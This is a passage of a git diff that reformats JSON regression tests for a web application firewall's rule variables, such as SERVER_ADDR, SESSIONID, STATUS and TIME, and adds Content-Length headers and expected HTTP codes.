2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":" Target value: \"message123\" \\(Variable: RULE:msg\\)" + "expected": { + "debug_log": " Target value: \"message123\" \\(Variable: RULE:msg\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule rule:msg \"@contains test\" \"id:1,msg:'message123',phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (7/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Saving variable: IP:block_reason with value: message123" + "expected": { + "debug_log": "Saving variable: IP:block_reason with value: message123", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule rule:msg \"@contains message\" \"id:1,msg:'message123',setvar:'ip.block_reason=%{RULE.msg}%',phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-SERVER_ADDR.json b/test/test-cases/regression/variable-SERVER_ADDR.json index 2f62130fd4..2c66cd81c2 100644 --- a/test/test-cases/regression/variable-SERVER_ADDR.json +++ b/test/test-cases/regression/variable-SERVER_ADDR.json @@ -1,82 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: SERVER_ADDR", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: SERVER_ADDR", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"200.249.12.11\" \\(Variable: SERVER_ADDR\\)" + "expected": { + "debug_log": "Target value: \"200.249.12.11\" \\(Variable: SERVER_ADDR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule SERVER_ADDR \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: SERVER_ADDR", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: SERVER_ADDR", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"::1", - "port":80 + "server": { + "ip": "::1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"::1\" \\(Variable: SERVER_ADDR\\)" + "expected": { + "debug_log": "Target value: \"::1\" \\(Variable: SERVER_ADDR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule SERVER_ADDR \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-SERVER_NAME.json b/test/test-cases/regression/variable-SERVER_NAME.json index e0fd6c105e..511491c340 100644 --- a/test/test-cases/regression/variable-SERVER_NAME.json +++ b/test/test-cases/regression/variable-SERVER_NAME.json @@ -1,85 +1,96 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: SERVER_NAME (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: SERVER_NAME (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "protocol": "HTTP/1.1", - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." - ] + ], + "protocol": "HTTP/1.1" }, - "expected":{ - "debug_log":"Target value: \"localhost\" \\(Variable: SERVER_NAME\\)" + "expected": { + "debug_log": "Target value: \"localhost\" \\(Variable: SERVER_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule SERVER_NAME \"^HTTP\" \"id:1,phase:5,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: SERVER_NAME (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: SERVER_NAME (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"www.zimmerle.org:4443", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "www.zimmerle.org:4443", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "protocol": "HTTP/1.1", - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." - ] + ], + "protocol": "HTTP/1.1" }, - "expected":{ - "debug_log":"Target value: \"www.zimmerle.org\" \\(Variable: SERVER_NAME\\)" + "expected": { + "debug_log": "Target value: \"www.zimmerle.org\" \\(Variable: SERVER_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule SERVER_NAME \"^HTTP\" \"id:1,phase:5,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-SERVER_PORT.json b/test/test-cases/regression/variable-SERVER_PORT.json index 4e4bb1b895..91dd387b14 100644 --- a/test/test-cases/regression/variable-SERVER_PORT.json +++ b/test/test-cases/regression/variable-SERVER_PORT.json @@ -1,82 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: SERVER_PORT", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: SERVER_PORT", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"80\" \\(Variable: SERVER_PORT\\)" + "expected": { + "debug_log": "Target value: \"80\" \\(Variable: SERVER_PORT\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule SERVER_PORT \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: SERVER_PORT", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: SERVER_PORT", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"::1", - "port":80 + "server": { + "ip": "::1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"80\" \\(Variable: SERVER_PORT\\)" + "expected": { + "debug_log": "Target value: \"80\" \\(Variable: SERVER_PORT\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule SERVER_PORT \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-SESSIONID.json b/test/test-cases/regression/variable-SESSIONID.json index b1f11bc904..ac88960519 100644 --- a/test/test-cases/regression/variable-SESSIONID.json +++ b/test/test-cases/regression/variable-SESSIONID.json @@ -1,31 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing SESSIONID variable (1/2)", - "expected":{ - "debug_log": "Target value: \"rAAAAAAA2t5uvjq435r4q7ib3vtdjq1202\"" + "enabled": 1, + "version_min": 300000, + "title": "Testing SESSIONID variable (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"rAAAAAAA2t5uvjq435r4q7ib3vtdjq1202\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setsid:%{REQUEST_COOKIES:PHPSESSID}%,nolog,pass\"", "SecRule REQUEST_HEADERS \".*\" \"id:'900021',phase:1,setvar:SESSION.score=+10\"", @@ -35,32 +48,45 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing SESSIONID variable (2/2)", - "expected":{ - "debug_log": "Target value: \"whee\"" + "enabled": 1, + "version_min": 300000, + "title": "Testing SESSIONID variable (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=whee", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=whee" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "Target value: \"whee\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setsid:%{REQUEST_COOKIES:PHPSESSID}%,nolog,pass\"", "SecRule REQUEST_HEADERS \".*\" \"id:'900021',phase:1,setvar:SESSION.score=+10\"", diff --git a/test/test-cases/regression/variable-STATUS.json b/test/test-cases/regression/variable-STATUS.json index 9e451f73b7..9f2be74c01 100644 --- a/test/test-cases/regression/variable-STATUS.json +++ b/test/test-cases/regression/variable-STATUS.json @@ -1,93 +1,95 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: STATUS (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: STATUS (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"GET", + "uri": "/", + "method": "GET", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"200\" \\(Variable: RESPONSE_STATUS\\)" + "expected": { + "debug_log": "Target value: \"200\" \\(Variable: RESPONSE_STATUS\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_STATUS \"@contains test\" \"id:1,phase:5,rev:1.3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: STATUS (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: STATUS (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"GET", + "uri": "/", + "method": "GET", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"500\" \\(Variable: RESPONSE_STATUS\\)", + "expected": { + "debug_log": "Target value: \"500\" \\(Variable: RESPONSE_STATUS\\)", "http_code": 500 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@pm value\" \"id:1,phase:2,t:trim,status:500,deny\"", "SecRule RESPONSE_STATUS \"@contains test\" \"id:2,phase:5,rev:1.3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-TIME.json b/test/test-cases/regression/variable-TIME.json index baded1d36b..3aa71ca15f 100644 --- a/test/test-cases/regression/variable-TIME.json +++ b/test/test-cases/regression/variable-TIME.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+):([0-9]+):([0-9]+)\" \\(Variable: TIME\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+):([0-9]+):([0-9]+)\" \\(Variable: TIME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_DAY.json b/test/test-cases/regression/variable-TIME_DAY.json index 58041bcd00..9e5fc4086f 100644 --- a/test/test-cases/regression/variable-TIME_DAY.json +++ b/test/test-cases/regression/variable-TIME_DAY.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_DAY", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_DAY", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_DAY\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_DAY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_DAY \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_EPOCH.json b/test/test-cases/regression/variable-TIME_EPOCH.json index 37e4674d25..5ae30c55d2 100644 --- a/test/test-cases/regression/variable-TIME_EPOCH.json +++ b/test/test-cases/regression/variable-TIME_EPOCH.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_EPOCH", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_EPOCH", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_EPOCH\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_EPOCH\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_EPOCH \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_HOUR.json b/test/test-cases/regression/variable-TIME_HOUR.json index e1653090ae..3852fd1819 100644 --- a/test/test-cases/regression/variable-TIME_HOUR.json +++ b/test/test-cases/regression/variable-TIME_HOUR.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_HOUR", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_HOUR", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_HOUR\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_HOUR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_HOUR \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_MIN.json b/test/test-cases/regression/variable-TIME_MIN.json index 404d173e48..6f38fa0d68 100644 --- a/test/test-cases/regression/variable-TIME_MIN.json +++ b/test/test-cases/regression/variable-TIME_MIN.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_MIN", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_MIN", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_MIN\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_MIN\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_MIN \"@contains test \" 